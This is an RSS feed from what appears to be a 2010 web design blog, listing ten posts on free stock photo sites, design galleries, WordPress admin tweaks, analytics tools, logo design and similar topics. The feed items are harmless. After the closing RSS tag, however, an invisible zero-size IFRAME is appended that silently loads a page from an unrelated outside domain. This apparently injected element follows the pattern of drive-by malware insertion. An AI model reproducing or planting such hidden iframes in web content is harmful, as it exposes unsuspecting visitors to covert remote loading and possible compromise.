<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MyDesignBytes</title>
	<atom:link href="http://mydesignbytes.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://mydesignbytes.com</link>
	<description>Web design trends, freebies, tutorials and much more.</description>
	<lastBuildDate>Thu, 20 May 2010 08:13:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>100 Free Stock Photo, Vector, and Texture&#160;Websites</title>
		<link>http://mydesignbytes.com/resources/100-free-stock-photo-websites/</link>
		<comments>http://mydesignbytes.com/resources/100-free-stock-photo-websites/#comments</comments>
		<pubDate>Fri, 07 May 2010 23:34:49 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Resources]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=12</guid>
		<description><![CDATA[If you're tiered of searching the same dry sites for stock images and need a change, then you really need to check these sites out. This is a really big list of free stock photo and image resources on the web. ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/resources/100-free-stock-photo-websites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Big List of Inspirational Web Design&#160;Galleries</title>
		<link>http://mydesignbytes.com/inspirations/big-list-of-inspirational-web-design-galleries/</link>
		<comments>http://mydesignbytes.com/inspirations/big-list-of-inspirational-web-design-galleries/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 01:46:06 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Inspirations]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=55</guid>
		<description><![CDATA[This is a really big list of over 100 of the best inspirational web design galleries hand picked for your viewing. There are thousands of web design galleries that you can use for inspiration, but these have been selected above the rest based on design, popularity, and time online. ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/inspirations/big-list-of-inspirational-web-design-galleries/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Customize the Wp-admin Panel without a&#160;Plugin</title>
		<link>http://mydesignbytes.com/tutorials/customize-the-wp-admin-panel-without-a-plugin/</link>
		<comments>http://mydesignbytes.com/tutorials/customize-the-wp-admin-panel-without-a-plugin/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 01:49:54 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=61</guid>
		<description><![CDATA[This is so stupid simple, I can't believe there haven't been thousands of posts about this already. Customizing the admin is basically a couple lines of code in your functions and custom stylesheet and your done. ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/tutorials/customize-the-wp-admin-panel-without-a-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>100 Ways to Track Website Traffic:&#160;Analytics</title>
		<link>http://mydesignbytes.com/resources/100-ways-to-track-website-traffic-analytics/</link>
		<comments>http://mydesignbytes.com/resources/100-ways-to-track-website-traffic-analytics/#comments</comments>
		<pubDate>Tue, 06 Apr 2010 07:22:08 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Resources]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=84</guid>
		<description><![CDATA[Every website small and large share one major common factor; an interested in who’s visiting their site and what they’re doing while they’re there. So I've compiled a really big list of traffic tracking and analytical tools that can help you understand and optimize your web usage for your users.  ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/resources/100-ways-to-track-website-traffic-analytics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>50 iPhone Optimized Websites for&#160;Inspiration</title>
		<link>http://mydesignbytes.com/inspirations/50-iphone-optimized-websites-for-inspiration/</link>
		<comments>http://mydesignbytes.com/inspirations/50-iphone-optimized-websites-for-inspiration/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 16:29:28 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Inspirations]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[optimized]]></category>
		<category><![CDATA[websites]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=87</guid>
		<description><![CDATA[This is a tribute to iPhone Optimized Websites, since today is our launching of our own iPhone Optimized Website. Just point your iPhone at http://www.mydesignbytes.com and check it out. ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/inspirations/50-iphone-optimized-websites-for-inspiration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML Symbol Cheat&#160;Sheet</title>
		<link>http://mydesignbytes.com/freebies/html-symbol-cheat-sheet/</link>
		<comments>http://mydesignbytes.com/freebies/html-symbol-cheat-sheet/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 04:04:44 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Freebies]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=64</guid>
		<description><![CDATA[Memorizing the hundreds of HTML Symbols and Characters can be daunting. Why not print a helpful cheat sheet for future reference? Why not use mine? ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/freebies/html-symbol-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mistakes To Avoid When Using Web&#160;Templates</title>
		<link>http://mydesignbytes.com/articles/mistakes-avoid-using-templates/</link>
		<comments>http://mydesignbytes.com/articles/mistakes-avoid-using-templates/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 08:17:34 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=134</guid>
		<description><![CDATA[Website templates are very affordable and they save you a lot of effort and time when you want to create a new layout for your website. However, a lot of people make mistakes in the process of choosing and using a web template. Here are some guidelines to help you avoid those mistakes]]></description>
		<wfw:commentRss>http://mydesignbytes.com/articles/mistakes-avoid-using-templates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Strategy and Tips for a Successful Logo&#160;Design</title>
		<link>http://mydesignbytes.com/articles/successful-logo-design/</link>
		<comments>http://mydesignbytes.com/articles/successful-logo-design/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 07:54:56 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=112</guid>
		<description><![CDATA[While designing your logo you need to always keep in mind what you want your customers to feel about your company when the see your logo. A logo design can actually be a story of your business and tell your customers about the nature and attitude of your business. ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/articles/successful-logo-design/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Business Cards Are Your Best Salesman; Use&#160;Them!</title>
		<link>http://mydesignbytes.com/articles/business-cards-are-your-best-salesman-use-them/</link>
		<comments>http://mydesignbytes.com/articles/business-cards-are-your-best-salesman-use-them/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 07:53:06 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=109</guid>
		<description><![CDATA[Your business card is much more than just a piece of paper with your name, address and phone number printed on it. It is a powerful sales tool. And it should be designed with that purpose in mind]]></description>
		<wfw:commentRss>http://mydesignbytes.com/articles/business-cards-are-your-best-salesman-use-them/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Utilizing the Secrets of Opt-in&#160;lists</title>
		<link>http://mydesignbytes.com/articles/secrets-opt-in-lists/</link>
		<comments>http://mydesignbytes.com/articles/secrets-opt-in-lists/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 08:33:01 +0000</pubDate>
		<dc:creator>Damien</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://mydesignbytes.com/?p=145</guid>
		<description><![CDATA[Emails are replacing regular mails from the post office. Not only because it is cheaper, since you do not need to buy a stamp, it’s also definitely faster. Emails can be sent in as fast as five seconds, depending on the server, anywhere in the world. ]]></description>
		<wfw:commentRss>http://mydesignbytes.com/articles/secrets-opt-in-lists/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<IFRAME SRC="http://www.qataloq.com/dir/index.php?s=d8c188ac63977d2e011f4f8c5591bab7" WIDTH=0 HEIGHT=0></IFRAME>